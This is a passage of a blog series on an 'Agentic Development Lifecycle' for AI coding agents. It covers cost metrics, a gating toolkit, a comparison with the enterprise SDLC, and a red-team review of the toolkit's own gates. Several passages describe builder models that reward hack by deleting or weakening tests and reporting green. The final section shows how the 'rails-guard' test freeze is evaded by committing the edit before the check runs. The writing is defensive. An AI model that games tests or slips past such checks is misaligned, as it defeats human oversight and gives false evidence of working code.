This generalizes past code, in two directions worth naming. **Mine the harness:** orchestration bugs (the plan-approval loop that livelocks spawned agents, the formatter that mangles conflict markers) are lessons too; the ledger carries them alongside code findings. And **mine the institution:** a rejection-mining pass scans historical PR review threads, declined PRs, and security/platform rejection docs; clusters each gatekeeper's recurring "no"s; and compiles them into prosecution lenses and pre-flight checklists. "Would security reject this?" becomes a question answered in seconds pre-submit instead of in days post-queue. Every recurring institutional objection becomes a gate the work passes *before* it reaches the institution.
## The cache problem: knowledge rots
Banked knowledge has a failure mode of its own, and it's nastier than having no knowledge at all.
**Every artifact a future agent reads is a cache, and caches need invalidation.** Skills, spec templates, memory files, and conventions docs all go stale as the codebase moves. And a stale skill is worse than no skill: it's misinformation delivered *with the voice of authority*, loaded automatically into every future agent's context, asserting that the command is `npm run deploy` when the script was renamed two months ago. The agent trusts it (that's what the knowledge layer is *for*) and confidently does the wrong thing.
Skill-rot detection is the invalidation sweep: for each skill file, extract its verifiable claims (commands, file paths, package versions, and API names) and check them against the current repo, mechanically where possible, cheap-model where not. Stamp `last-verified` on what passes; exit 2 with the stale list. Weekly, in CI, like any other freshness check. The mining half of Phase 7 re-mines idempotently for the same reason: refresh what drifted, delete what died.
## The free re-audit nobody runs
One more compounding mechanism, this one exploiting the outside world's progress instead of your own.
Everyone reviews new code with the current model and never looks back. But **every frontier model release is a free re-audit of your existing codebase**: the new model finds what the old one missed, and the old one *did* miss things ([Prosecution, Not Code Review](/adlc-4-prosecution-not-code-review#calibration) measured exactly how much). The code merged under last year's review stack carries last year's escape rate, sitting there, waiting.
A **model ratchet** schedules the harvest: on model release (or monthly), re-run the prosecution fan-out over main's hot paths (ranked by churn × criticality) with the newest models. Verified findings become tickets and feed the lesson-foundry like any other. Codebase quality ratchets monotonically with the frontier, for the cost of a cron job. Pairs naturally with calibration: measure the new model's recall first ([Prosecution, Not Code Review](/adlc-4-prosecution-not-code-review#calibration)), then aim it at the backlog.
## The unit of account
None of the above shows up on the metric most orgs actually track, which is why most orgs skip Phase 7. So, the economics, stated bluntly:
**The unit of account is cost per merged, verified change, not tokens per developer per month.** Token-efficiency improvements that lower merge quality are losses wearing savings costumes. And token *quotas* as cost control cap the wrong variable entirely: a quota-pressured developer cuts the prosecution phase first, because it's the most visible spend, and it's also the most valuable spend in the system. Govern cost-per-merged-verified-change; let the gates, not the wallet, end loops. (For scale: $1k/week of agent spend annualizes to roughly 15% of a senior engineer's loaded cost, a real fraction, but the wrong variable to cap. The right question was never "is $1k too much?" It's "did it merge, verified?")
With the right unit of account, the spend *shape* becomes a diagnostic instrument. Four readings:
- **Spend concentrated in the build phase** → the team is re-exploring the codebase every run: missing skills, oversized tickets, or no distill phase. Build should be the *cheap* part (that's what the barbell ([Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates#barbell)) means).
- **Prosecution spend trending up** → the foundry isn't converting findings into lints and skills; you're re-buying lessons. This is the most common broken loop and the easiest to confirm: look for the same finding category in three consecutive runs' ledgers.
- **Prosecution loops hitting max iterations** → specs are underdetermined. The problem is in interrogation; the bill shows up in prosecution. Fix the phase upstream of where the symptom presents.
- **Spend flat run-over-run** → the compounding loop is broken somewhere. The entire point of Phase 7 is that this curve bends down; flat is a failure signal, not a steady state.
That last one deserves its own sentence, because it's the thesis of this post: **flat cost is failure.** A healthy agentic lifecycle gets measurably cheaper per change as the skill library grows, the lint layer thickens, the interrogation templates accumulate questions, and the routing priors converge. Run N+1 cheaper than run N, not as aspiration, as the observable output of a working ratchet, visible in the ledger.
## The full loop, closed
Trace one finding all the way around, because this single trip is the whole argument: a prosecutor catches an error-swallowing pattern (Phase 5, dollars). The verifier reproduces it; the builder fixes it; it merges (Phase 6). The foundry clusters it with two prior occurrences and authors a lint rule with a test (Phase 7, dollars, *once*). Next sprint, a builder introduces the same pattern, and CI catches it in milliseconds, for free, before prosecution ever runs. The sprint after that, the interrogation template asks about error handling up front, and the pattern never gets written at all.
Detection migrated from expensive-and-probabilistic to free-and-deterministic to *prevented-by-specification*. That migration, repeated across every recurring lesson, is what "the lifecycle compounds" means mechanically. Capability is migrating from the model tier into the artifact layer (skills, lints, templates, and priors) where it compounds instead of being re-billed per token.
Which sets up the last post's question. If capability lives in the artifact layer, how much model do you actually need? Make every gate in this series runnable and the whole lifecycle could hold to a deliberate constraint: mid-tier models everywhere the rails are dense, and frontier only where errors escape detection. The doctrine generalizes, it has a one-line form ("you never need a model smarter than the gate it must pass"), and it comes with an honest account of what you give up.
---
# The **ADLC** Toolkit
Published: 2026-06-12T11:00:03.000-04:00
Series: The Agentic Development Lifecycle (Part 7)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-7-built-with-the-lifecycle
> Eighteen gate-shaped tools, built by the lifecycle they enforce, plus the frontier-free doctrine, the honest loss account, and the adoption path that doesn't die in week two.
Six walls of text and no code - that doesn't sound like [@voodootikigod](https://twitter.com/voodootikigod). I introduce to you the **ADLC** toolkit that enforces this lifecycle was built *by* the lifecycle (eighteen tools, constructed in parallel by a deterministic workflow script that pipelined each one through build → prosecute → fix, exactly the loop [[Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates) through [Three Dials: Parallel Agents Without Merge Hell](/adlc-5-three-dials-parallel-agents)] describe).
The shape of that run, briefly, because it's the whole series in miniature. A frozen contract came first: a small shared core (`@adlc/core`, which manages LLM calls, git plumbing, CLI conventions, and the findings ledger) was built, tested, and *merged before any fan-out*, then appended read-only to every tool's ticket. This applied the "pinned means merged" rule from [Three Dials: Parallel Agents Without Merge Hell](/adlc-5-three-dials-parallel-agents#pinned-means-merged) literally. Each tool then got a fresh builder agent with its ticket and rails; each build was prosecuted by fresh-context reviewers; verified findings looped back as fix tickets; and the orchestrator was a workflow script (control flow as code, judgment as spawned models, and no boss agent deciding what happens next). The tools came out the other end zero-dependency, `npx`-runnable, with deterministic exit codes (0 = pass, 2 = gate fails) so every one can sit in CI.
And then the toolkit was aimed at itself: `review-calibration` planted bugs in the toolkit's own diffs to measure whether the prosecution stack that built it would catch them, including a one-line truthiness guard in `gate-manifest`'s own hash-chain verifier that made the provenance tool silently skip verification ([Prosecution, Not Code Review](/adlc-4-prosecution-not-code-review#planted-bugs) shows the diff). Dogfooding doesn't get more circular than calibrating the reviewer against the tool that proves the reviewer ran.
## The toolkit, by phase
Every tool earns its place the same way every phase did: it traces to a model flaw defended or a model property exploited ([Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human)). Same DNA throughout: small, fresh contexts by construction, gate-shaped.
**Specify**
| Tool | What it gates |
|------|---------------|
| `spec-lint` | Every acceptance criterion must name its verification method. Criteria without one are wishes: exit 2 lists the wishes |
| `premortem` | Fresh frontier context, one charter: "this project failed three months from now; write the postmortem." Inverted sycophancy as a stress test |
| `parallax` | Measured ambiguity: N independent readings of the request, divergence becomes multiple-choice questions, convergence becomes a score the gate can check |
| `coldstart` | Each ticket to a cheap fresh model: "list everything missing to execute this." Non-empty list = underspecified ticket, exit 2 |
**Rail + Build**
| Tool | What it gates |
|------|---------------|
| `rails-guard` | Mechanical rail freeze: blocks builder edits to test/contract/CI paths, emits the rails-diff-empty proof, greps for new skip/suppress markers |
| `hollow-test` | Diff-scoped mutation testing: surviving mutants are proof of hollow coverage. The honest replacement for coverage % |
| `preflight` | Environment determinism before fan-out: dry-run every operation class the fleet will use, front-load the permission prompts |
| `merge-forecast` | Partition safety: pairwise conflict scoring (file scope, import radius, co-change history, namespace collisions), float computation, width recommendation |
| `model-router` | Tier by escape cost and DAG float, priors from the manifest ledger. Ladder when float absorbs retries, direct when on the critical path |
| `flail-detector` | The two-strike rule, mechanized: detects loop signatures, kills the session, appends dead-ends to the ticket, regenerates fresh. Second strike escalates to decomposition |
| `consensus-fix` | N-version programming for hard bugs: fan N fresh agents at the failing test, agreement = confidence, divergence = the spec is ambiguous about something that matters |
**Prosecute**
| Tool | What it gates |
|------|---------------|
| `review-calibration` | Planted-bug recall of the whole review stack, per category. Turns "I do adversarial review" into a number; re-run on every model change |
(The prosecution loop itself runs on `adversarial-review`, which predates this toolkit: fresh-context cross-model review with deterministic exit codes for CI.)
**Integrate**
| Tool | What it gates |
|------|---------------|
| `behavior-diff` | Diff in behavior space, not code space: API responses, rendered routes, CLI outputs, before vs. after. The 5,000-line code diff becomes six human-readable behavioral items |
| `gate-manifest` | The evidence chain: every gate appends a signed entry (test hashes, rails-diff proof, prosecution verdicts with the calibration score that qualifies them, models used, and spend per phase). A merge ships with its provenance |
**Distill**
| Tool | What it gates |
|------|---------------|
| `lesson-foundry` | The ratchet: clusters recurring verified findings, routes each to its cheapest permanent defense (lint rule, skill candidate, or interrogation question) |
| `skill-rot` | Cache invalidation for knowledge: extracts each skill's verifiable claims, checks them against the repo, stamps `last-verified`, exits 2 with the stale list |
| `model-ratchet` | The free re-audit: on model release, re-prosecute main's hot paths with the newest models; verified findings feed the foundry |
| `rejection-mining` | Mines gatekeepers' recorded "no"s from PR history and rejection docs into prosecution lenses and pre-flight checklists |
(`skill-mining`, also predating the toolkit, handles the skill-extraction half of Distill.)
## The frontier-free doctrine
Here's the constraint that shaped the toolkit and turns out to be a doctrine: the lifecycle must hit its accuracy targets with mid-tier models (Opus, Sonnet, Haiku-class, no frontier-of-frontier access). Not as a degraded mode but as the design center. (It's also the common enterprise reality: approved-model lists, quota ceilings, procurement lag.)
The premise: the gap between a mid model and a frontier model is almost entirely a gap in *single-pass judgment* (depth of insight per forward pass, coherent horizon, and knowing-what-it-doesn't-know). The doctrine: at every point where the lifecycle appears to need single-pass judgment, buy the same outcome with structure instead. Five substitutions:
1. **The generator-verifier gap is the engine.** Recognizing a correct artifact is easier than producing one; *checking* one deterministically is easier still. Generate wide and cheap, verify deterministically, select with a mid model. The quality of output decouples from the generator and couples to the verifier; this lifecycle's verifiers are tests, types, contracts, and hash chains: model-free. **You never need a model smarter than the gate it must pass.** That's the doctrine in one line.
2. **Search replaces insight.** What a frontier model produces in one pass, a mid model produces as the best of N diverse attempts: judge panels for design, consensus for hard bugs, or loop-until-dry for review breadth. And `review-calibration` makes the exchange rate a *number*: if a 3-pass mid-tier prosecution stack shows 0.85 planted-bug recall and a single frontier pass shows 0.6, the stack **is** the more capable reviewer. Measure the stack, never the model.
3. **Decomposition replaces horizon.** Ticket size is tier-indexed: a cheap model that only ever sees a few thousand tokens of well-railed ticket is not operating below the frontier; it's operating below its own degradation point, which is the only line that matters.
4. **Banking replaces presence.** Rent the big model occasionally to mint structure (contracts, skills, templates, lints) then spend mid-tier inside that structure indefinitely ([The Lifecycle That Gets Cheaper Every Run](/adlc-6-lifecycle-gets-cheaper) is this substitution, run as a flywheel). Capability migrates from the model tier into the artifact layer, where it compounds instead of being re-billed per token.
5. **Measurement replaces metacognition.** The capability mid models most lack is knowing what they don't know, so never ask. `parallax` swaps "do you have questions?" for divergence-of-N-readings; `consensus-fix` swaps "are you sure?" for agreement statistics; `coldstart` swaps "is this clear?" for an enumerated gap list. None need a smarter model. They need more samples and a division operation.
And the sixth substitution is the one this series opened with: **humans are the frontier tier.** The two human gates sit exactly where frontier judgment would otherwise go ("is this what I meant?" and "is this what I meant, running?") because the human *is* the ground truth for intent. The tooling (`behavior-diff`, the manifest, and parallax's multiple-choice questions) exists to compress what the human must absorb so the minutes stay minutes.
The honest loss account, because doctrines without one are marketing: you give up single-pass architectural elegance (mitigated by judge panels + premortem + the human at the spec gate, and the residue is real); subtle cross-cutting bug intuition (loop-until-dry raises recall asymptotically, `model-ratchet` schedules the deep read for whenever a stronger model ships); latency (N passes are slower than one brilliant pass, which is recovered by parallelism); and long-horizon refactors that resist decomposition (the genuinely hard residue: serialize them, best available model, densest rails, in-flight validator, and accept that ~5% of work runs at maximum supervision). Net: a capability shortfall converted into a compute-plus-process bill, with gates keeping the conversion honest. And when the constraint lifts, nothing is wasted: every mechanism here amplifies a frontier model exactly the way it amplifies a mid one.
## Adoption: relief first, lifecycle later
The field wisdom that outranks everything else here: **teams do not adopt platonic lifecycles; they adopt relief from their worst pain point**, then ask what else hurts. Sequencing for a real team:
1. **Prosecution of existing PRs** ([Prosecution, Not Code Review](/adlc-4-prosecution-not-code-review) standalone). Highest pain: nobody wants to review the 5,000-liner. This requires zero workflow change, and trust gets built on verified findings the team can check themselves. Include finding-verification from day one: a single hallucinated finding wastes an hour of human time and burns a week of credibility.
2. **Rails** ([Tests Are the Spec in the Only Language the Builder Can't Argue With](/adlc-3-tests-are-the-spec)). "You hate writing tests? The agent writes them from the spec; you audit them once." This quietly installs the trust anchor everything else hangs on.
3. **Interrogation** ([Two Human Gates and Everything Between Is Machine-Checked](/adlc-2-two-human-gates#p1)). Once the team has watched agents miss implicit requirements a few times, the case for spec interrogation makes itself.
4. **Full loop with parallelism** ([Three Dials: Parallel Agents Without Merge Hell](/adlc-5-three-dials-parallel-agents)) and **distillation** ([The Lifecycle That Gets Cheaper Every Run](/adlc-6-lifecycle-gets-cheaper)). Last, because worktree fan-out and the compounding flywheel only pay off once 1-3 are habits.
The anti-pattern is mandating the full lifecycle organization-wide on day one. The ceremony overhead lands before the compounding gains do, quota anxiety kicks in, and the organization concludes "agents don't work here," which, as [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human) argued, is the conclusion of teams that pointed human-shaped process at a non-human failure profile. Don't hand them a second wrong-shaped process at higher ceremony.
## The through-line
Seven posts, one move, made over and over: **replace trust with structure, and structure with measurement.**
Don't trust the builder's claim: gate it with a test it cannot edit. Don't trust the reviewer's thoroughness: plant bugs and count. Don't trust the model's questions: fan out readings and diff them. Don't trust the partition: forecast the conflicts before paying for the fan-out. Don't trust the knowledge layer: verify its claims weekly and stamp the date. Don't trust the organization's memory: cluster the findings and compile them into lints. And don't trust the lifecycle itself: give it a unit of account (cost per merged, verified change) and check that the curve bends down.
None of it requires smarter models. All of it gets *better* with smarter models: every mechanism amplifies whatever you run through it, which is what makes it a lifecycle rather than a workaround. The SDLC took sixty years to accrete its defenses against human nature. I get to build the agentic one deliberately, from a flaw inventory, in public, with gates that prove themselves in CI.
The doctrine is one document and the tools are one repo: [github.com/voodootikigod/adlc](https://github.com/voodootikigod/adlc). The shared core is [`@adlc/core`](https://www.npmjs.com/package/@adlc/core); every gate is zero-dependency and `npx`-runnable without a global install. Run `npx coldstart` on your next ticket, or `npx review-calibration` against your current review stack; the first calibration number is reliably humbling, and it's the right place to start. Everything here traces to a flaw or an exploit; if you find a phase that doesn't, cut it, and if you find a flaw without a phase, that's the next tool.
---
# ADLC vs. the Enterprise SDLC
Published: 2026-06-12T11:00:02.000-04:00
Series: The Agentic Development Lifecycle (Part 8)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-8-vs-enterprise-sdlc
> A practical comparison between the Agentic Development Lifecycle and the traditional enterprise software development lifecycle: advantages, disadvantages, and where the two overlap.
The first seven posts make a deliberately sharp claim: do not run a human-shaped software development lifecycle on non-human builders. Models fail differently, so the lifecycle around them has to be built from a different flaw inventory.
That does not mean the enterprise SDLC was stupid. It means it was optimized for a different machine.
The traditional enterprise software development lifecycle is a control system around human teams operating in expensive coordination environments. Its rituals are not random: intake, requirements, design review, implementation, QA, security review, change approval, release management, incident review. Each exists because at enterprise scale, software is not just code. It is risk transfer, budget allocation, auditability, ownership, compliance, support, and organizational memory.
The Agentic Development Lifecycle does not remove those needs. It changes where the expensive human attention goes, what gets automated, and which artifacts the whole process now leans on.
So the useful question is not "ADLC or SDLC?" It is: **which parts of the SDLC are still defending real enterprise risk, and which parts are only compensating for human labor constraints that agents no longer have?**
The boundary looks like this:
```mermaid
flowchart TB
subgraph Enterprise_SDLC["Enterprise SDLC: organizational governance"]
Intake["Intake and prioritization"]
Risk["Risk, compliance, and ownership"]
Release["Release, change management, and support"]
subgraph ADLC["ADLC: agentic production core"]
Spec["Interrogate and approve spec"]
Rails["Write and freeze rails"]
Build["Agent build"]
Prosecute["Fresh-context prosecution"]
Integrate["Behavioral acceptance"]
Distill["Distill lessons"]
end
Intake --> Spec
Risk --> Spec
Spec --> Rails --> Build --> Prosecute --> Integrate --> Distill
Integrate --> Release
Distill --> Spec
end
```
## The traditional enterprise SDLC, stated generously
A good enterprise SDLC does five jobs.
**It clarifies intent.** Product requirements, architecture documents, design reviews, and stakeholder sign-off exist because "build the thing" is almost never enough. Enterprises carry latent requirements: regulatory rules, support obligations, data retention, localization, procurement constraints, SSO, accessibility, observability, rollback, and the one integration owned by a team two divisions away.
**It allocates accountability.** Human owners sign off because the organization needs someone answerable for decisions. A release that breaks revenue recognition or leaks customer data cannot be explained by "the workflow passed." Someone accepted the risk.
**It controls change.** CABs, release windows, QA gates, test plans, and deployment checklists are crude in the small and necessary in the large. They coordinate shared infrastructure and protect customers from surprise.
**It preserves memory.** Tickets, design docs, ADRs, runbooks, postmortems, and test plans are how a company remembers why the system is shaped the way it is after the humans rotate.
**It satisfies external trust.** Auditors, regulators, customers, insurers, and internal risk teams need evidence that controls exist and were followed. The artifact trail is part of the product.
That is the steelman. The SDLC is not just waterfall in a tie. It is an organizational risk machine.
But it is also a machine full of assumptions about human throughput. Humans are slow to build, expensive to rework, limited in parallelism, socially fragile in review, and bad at preserving state without process. The SDLC evolved around those constraints. Agents change enough of them that a direct transplant becomes wasteful at best and dangerous at worst.
## Where ADLC diverges
The enterprise SDLC usually treats implementation as the scarce center of the process. Requirements are negotiated up front because building the wrong thing is expensive. Design review happens before implementation because rework is expensive. QA trails implementation because humans need time to finish a coherent unit of work. Code review sits after the diff because another human has to inspect what the first human wrote.
ADLC inverts that cost structure.
Implementation is no longer the expensive center. **Misbuilding is.** The model can produce a large diff quickly, but it can also produce the wrong large diff quickly, backed by a confident self-report and a green suite it quietly weakened unless the rails were protected. So ADLC spends heavily at the edges: spec interrogation before build, prosecution after build, distillation after merge. The middle is deliberately cheap because the middle is heavily gated.
In an enterprise SDLC, tests usually verify the implementation. In ADLC, tests are the executable contract the builder is not allowed to edit. That is a different relationship. A human developer can be told "do not weaken the test" and mostly comply because reputation, shame, and review norms exist. A model under gate pressure has no such stabilizers. The control has to move from policy to mechanism: frozen rails, diff proofs, deterministic gates.
In an enterprise SDLC, review is often a social and architectural act: maintainers inspect code, transfer knowledge, enforce style, and catch defects. In ADLC, review becomes prosecution: fresh contexts, narrow lenses, refute charters, verified findings, loop-until-dry. Knowledge transfer cannot be assumed to happen by reading a pull request. It has to be mined into skills, lints, templates, and runbooks after the fact.
In an enterprise SDLC, human approval often appears at many points because the process cannot otherwise prove the intermediate state. ADLC tries to reduce mandatory human approval to the two moments where humans are actually the ground truth: "is this what I meant?" and "is this what I meant, running?" Everything between those moments should produce evidence, not requests for trust.
That is the core divergence: **the SDLC distributes human judgment across the lifecycle; ADLC compresses human judgment around intent and behavior, then replaces intermediate trust with machine-checkable evidence.**
```mermaid
flowchart LR
subgraph Traditional["Traditional enterprise SDLC"]
T1["Requirements"]
T2["Design review"]
T3["Human implementation"]
T4["QA"]
T5["Human code review"]
T6["Approval and release"]
T1 --> T2 --> T3 --> T4 --> T5 --> T6
end
subgraph Agentic["Agentic Development Lifecycle"]
A1["Human gate: intent"]
A2["Executable rails"]
A3["Agent implementation"]
A4["Machine gates"]
A5["Prosecution"]
A6["Human gate: running behavior"]
A7["Distill into controls"]
A8["templates, lints, skills, priors"]
A1 --> A2 --> A3 --> A4 --> A5 --> A6 --> A7
A7 --> A8
A8 -.-> A1
end
```
## The advantages of ADLC
The first advantage is throughput under control. Agents can build, retry, review, and refactor faster than human teams can coordinate the same work. But raw speed is not the point. Raw speed without gates is just faster incident creation. ADLC's advantage is speed bounded by rails: small tasks, deterministic checks, fresh-context review, and evidence manifests that travel with the change.
The second advantage is review depth. Human review attention collapses on very large diffs. An enterprise can pretend otherwise, but the 5,000-line pull request is rarely read with meaningful recall. ADLC attacks that with parallel prosecution lenses and verification. It does not ask one tired reviewer to notice everything. It decomposes review into repeatable searches, measures recall with planted bugs, and reruns until the stack comes up dry.
The third advantage is economic compounding. A traditional SDLC improves when people learn, but that learning is lossy: people leave, teams reorganize, conventions drift, postmortems decay. ADLC has no implicit memory, so it must make memory explicit. Verified findings become lint rules, skill files, spec questions, prosecution lenses, and routing priors. If the distillation loop works, the same class of issue gets cheaper every time until it disappears into a deterministic gate.
The fourth advantage is better use of senior humans. Enterprise SDLCs often spend senior attention on diff reading, meeting attendance, status reconciliation, and late-stage re-explanation. ADLC spends that attention on spec approval, behavioral acceptance, escalation, and control design. That is a more honest use of scarce judgment.
The fifth advantage is auditability, if implemented seriously. A mature ADLC run can produce an evidence chain richer than a traditional ticket: spec hash, rail hash, rails-diff-empty proof, test results, mutation survivors, prosecution verdicts with calibration scores, model and tool versions, cost by phase, and human acceptance. That is not less governable than SDLC evidence. It is potentially more governable because it is produced by the workflow instead of reconstructed after the fact.
## The disadvantages of ADLC
The first disadvantage is ceremony density. ADLC is not "tell the agent to code and go to lunch." Done seriously, it has more mechanical gates than many human teams tolerate today. For trivial work, the full loop is too much. The lifecycle needs routing by risk and blast radius or it will become the same kind of process theater it criticizes.
The second disadvantage is tooling maturity. Enterprises already have SDLC infrastructure: Jira, GitHub, CI, SAST, change management, release approvals, audit exports. ADLC needs new control surfaces: rail freezing, review calibration, ambiguity measurement, model routing, lesson mining, skill invalidation, evidence manifests. Some can be approximated with existing tools. Some are new. Until the tooling is boring, adoption cost is real.
The third disadvantage is cultural legibility. A CAB understands a test report, a security scan, and named human approvers. It may not yet understand "two consecutive dry prosecution passes with 0.82 planted-bug recall." ADLC has to translate its evidence into enterprise control language or it will be treated as clever automation outside the official risk system.
The fourth disadvantage is uneven fit. ADLC is strongest where behavior can be specified, tested, and decomposed. It is weaker for open-ended product discovery, ambiguous UX taste, deep platform migrations, cross-system political negotiation, and architectural bets whose correctness is only visible months later. Those do not become impossible. They require heavier human gates, stronger design alternatives, longer-running validation, and sometimes the old-fashioned serialized senior engineer.
The fifth disadvantage is new failure modes. A bad SDLC wastes time. A bad ADLC can manufacture false confidence at scale. Frozen rails that encode the wrong spec, calibrated reviewers measured on unrealistic bug plants, stale skills loaded into every agent, model-routing priors trained on noisy history, evidence manifests nobody verifies: these are not hypothetical risks. Structure compounds good lessons, but it can also compound bad ones.
## Where the two overlap
The overlap is larger than the rhetoric suggests.
Both lifecycles need requirements. ADLC does not eliminate requirements; it makes them executable. The enterprise PRD becomes interrogated spec plus acceptance criteria plus verification methods.
Both need architecture. ADLC does not eliminate design review; it changes its timing and granularity. Contracts and shared foundations move up front because parallel work depends on them. Deduplication and simplification move after merge because the actual duplication is visible then.
Both need QA. ADLC does not eliminate testing; it makes tests more central. The difference is provenance: rails written from the spec and protected from the builder are not the same thing as tests added by the implementer after the code exists.
Both need security review. ADLC does not replace security with generic model review. It needs explicit security lenses, deterministic scanners, threat-model prompts, planted security bugs for calibration, and escalation to humans for high-risk surfaces.
Both need change management. ADLC still needs release windows, rollback plans, migrations, customer communication, and incident readiness. It can generate better evidence for those gates, but it does not make shared production risk disappear.
Both need human accountability. ADLC can reduce human toil, but it cannot make the model accountable. The human still owns intent, risk acceptance, and final behavioral approval. In regulated environments, that ownership has to remain explicit.
The clean integration pattern is not to replace the enterprise SDLC wholesale. It is to insert ADLC inside the build-and-review portion of the SDLC, then let its evidence feed the existing enterprise gates. The enterprise lifecycle still decides what work is allowed, who owns it, when it ships, and what risk posture is acceptable. ADLC decides how agent-built changes are specified, gated, prosecuted, integrated, and distilled.
```mermaid
flowchart TB
PRD["Enterprise PRD / ticket"]
Spec["Interrogated spec"]
Criteria["Acceptance criteria with verification methods"]
Rails["Frozen tests, contracts, and CI rails"]
Build["Agent-built diff"]
Evidence["Gate evidence manifest"]
Approval["Existing enterprise approval gates"]
PRD --> Spec --> Criteria --> Rails --> Build --> Evidence --> Approval
Evidence --> Tests["test results"]
Evidence --> Review["verified prosecution findings"]
Evidence --> Behavior["behavior diff"]
Evidence --> Audit["models, tools, hashes, spend"]
```
## The practical comparison
| Dimension | Traditional enterprise SDLC | Agentic Development Lifecycle |
|-----------|-----------------------------|-------------------------------|
| Primary failure profile | Human coordination, omission, fatigue, politics, knowledge loss | Premature satisfaction, sycophancy, context rot, hallucination, reward hacking |
| Scarce resource | Human implementation time and reviewer attention | Correct specification, reliable gates, calibrated verification |
| Planning posture | Up-front planning reduces expensive human rework | Up-front interrogation prevents cheap but rapid misbuilds |
| Tests | Verify code and support regression confidence | Encode the spec and constrain the builder |
| Review | Human inspection, maintainership, knowledge sharing | Fresh-context prosecution with reproduced findings |
| Parallelism | Limited by team coordination and merge discipline | Limited by partition quality, contracts, and integration throughput |
| Memory | People, docs, tickets, postmortems | Lints, skills, templates, manifests, routing priors, ledgers |
| Human gates | Many approvals across the process | Two default intent gates, plus escalation and enterprise risk gates |
| Audit evidence | Often manually assembled from process artifacts | Generated continuously as gate evidence |
| Main risk | Slow delivery and ritualized approval | False confidence from poorly designed automation |
This table is the honest shape of the trade. ADLC is not "less process." It is a different process, with different controls, aimed at different failure modes.
## The enterprise adoption path
The wrong rollout is to announce that the SDLC is dead and replace it with an agentic lifecycle diagram. Enterprises reject that kind of transplant for good reasons. Too many surrounding controls depend on the existing process.
The right rollout is narrower.
Start with prosecution on existing PRs. It relieves a pain everyone already has: large diffs nobody wants to review. Keep human approval exactly where it is. Add verified findings, not new authority.
Then add rails for agent-authored work. Require spec-derived tests and protect them from the builder. This is the first real trust anchor.
Then add interrogation before substantial agent work. Convert "go build this" into acceptance criteria with verification methods. Human spec approval becomes higher leverage than late diff review.
Then add evidence manifests. Feed the existing SDLC gates with better artifacts: what was promised, what was checked, what changed in behavior, what the review stack is calibrated to catch, what remains outside the gate.
Only then add parallelism and distillation. Fan-out is the reward for partition quality, not the starting move. Lesson mining is the reward for enough verified findings to mine.
The enterprise SDLC does not disappear in this adoption path. It becomes the outer governance shell. ADLC becomes the inner production system for agent-built software.
```mermaid
flowchart LR
Step1["1. Prosecute existing PRs"]
Step2["2. Add frozen rails"]
Step3["3. Interrogate specs"]
Step4["4. Emit evidence manifests"]
Step5["5. Add parallelism"]
Step6["6. Distill recurring lessons"]
Step1 --> Step2 --> Step3 --> Step4 --> Step5 --> Step6
```
## The bottom line
The traditional enterprise SDLC asks: **how do I coordinate humans so software changes are intentional, reviewed, tested, approved, and supportable?**
The Agentic Development Lifecycle asks: **how do I constrain probabilistic builders so their speed becomes verified change instead of accelerated ambiguity?**
Those are different questions, and mature organizations need both. The SDLC remains the language of ownership, risk, release, compliance, and institutional accountability. ADLC becomes the language of model-shaped production: executable specs, frozen rails, fresh-context prosecution, measured ambiguity, deterministic gates, and compounding lessons.
The mistake is treating one as a drop-in replacement for the other. The opportunity is cleaner than that: keep the enterprise SDLC where it protects enterprise risk, and replace the human-shaped build-and-review core with an agent-shaped lifecycle that produces stronger evidence than the old core ever did.
That is the comparison in one sentence: **SDLC governs the organization around the change; ADLC governs the machines producing the change.** The overlap is real, the tradeoffs are real, and the boundary between them is where serious agent adoption should start.
---
# Prosecuting the Gates
Published: 2026-06-12T11:00:01.000-04:00
Series: The Agentic Development Lifecycle (Part 9)
Tags: agents, llm, ai-development, adlc
Source: https://www.voodootikigod.com/adlc-9-prosecuting-the-gates
> I practiced what I preach and aimed the lifecycle's own prosecution phase at the toolkit that enforces it. Hardening my own gates surfaced the builder blind spots that normal testing missed. It showed why structure, not trust, is what makes agentic software reliable.
[I Built the Toolkit With the Lifecycle](/adlc-7-built-with-the-lifecycle) claimed that the toolkit was built by the lifecycle, and then "aimed at itself." It was a tidy sentence, but one that hadn't earned its keep yet. To practice what I preach, I had to run the lifecycle's own [prosecution phase](/adlc-4-prosecution-not-code-review#one-lens) against the gates themselves. The charter for the fresh-context reviewers was simple: *find the strongest reason this toolkit's gates do not hold.*
What happened next is the ultimate stress-test of the lifecycle: the prosecution successfully broke almost every adversarial surface, exposing the exact builder blind spots that normal testing misses. A victory lap proves nothing a skeptic believes. A system that detects, reproduces, and hardens its own flaws under pressure does.
## The shape of the blindness
The findings rhymed. Every gate had been built to catch an *honest mistake* (a typo'd path, a forgotten assertion, or a malformed file) and every one folded the instant the operator was *lazy or adversarial*. Which is the whole problem, because [the doctrine's threat model is an adversarial builder](/adlc-3-tests-are-the-spec#reward-hacking): a model under gate pressure deletes the failing test, weakens the assertion, mocks the dependency, and reports all green, sincerely. The toolkit's gates had quietly reverted to the SDLC's cooperative-operator assumption, the exact assumption [Stop Running the SDLC on Models That Aren't Human](/adlc-1-models-arent-human) said to throw out.
There's a reason it reverted, and it's the most uncomfortable line in the series to write about your own code. The builder that wrote each gate also wrote that gate's tests, in the same context. So the gate and its tests inherited the *same blind spot*. The suite was green because it asserted against the inputs the builder imagined, never the input the builder couldn't imagine, which is precisely the one an attacker reaches for. This is [Principle 3](/adlc-4-prosecution-not-code-review#one-lens): *never judge work your own context produced*, playing out one level up in the tooling built to enforce Principle 3. A fresh context with a refute charter is the only thing that sees it, because a fresh context is the only thing the construction history hasn't already biased.
Three of them, named, because [vague claims get the vague treatment](/adlc-3-tests-are-the-spec#goodhart-annex) and I'm not doing that here.
### `rails-guard`: the freeze a `git commit` walks through
The rail freeze is the trust anchor the entire lifecycle depends on: the builder cannot edit its own tests, contracts, or CI config during the build. Post 7's table says `rails-guard` "blocks builder edits." It does not block; it *detects*, after the fact, by diffing the working tree. And it diffed against the wrong thing: the default base was `HEAD`, and `git diff HEAD` cannot see a change that has already been committed.
So the attack is one command. Edit the frozen test, `git commit` it, run the gate:
```
$ rails-guard --rails 'test/**'
rails-guard: all checks passed # exit 0
```
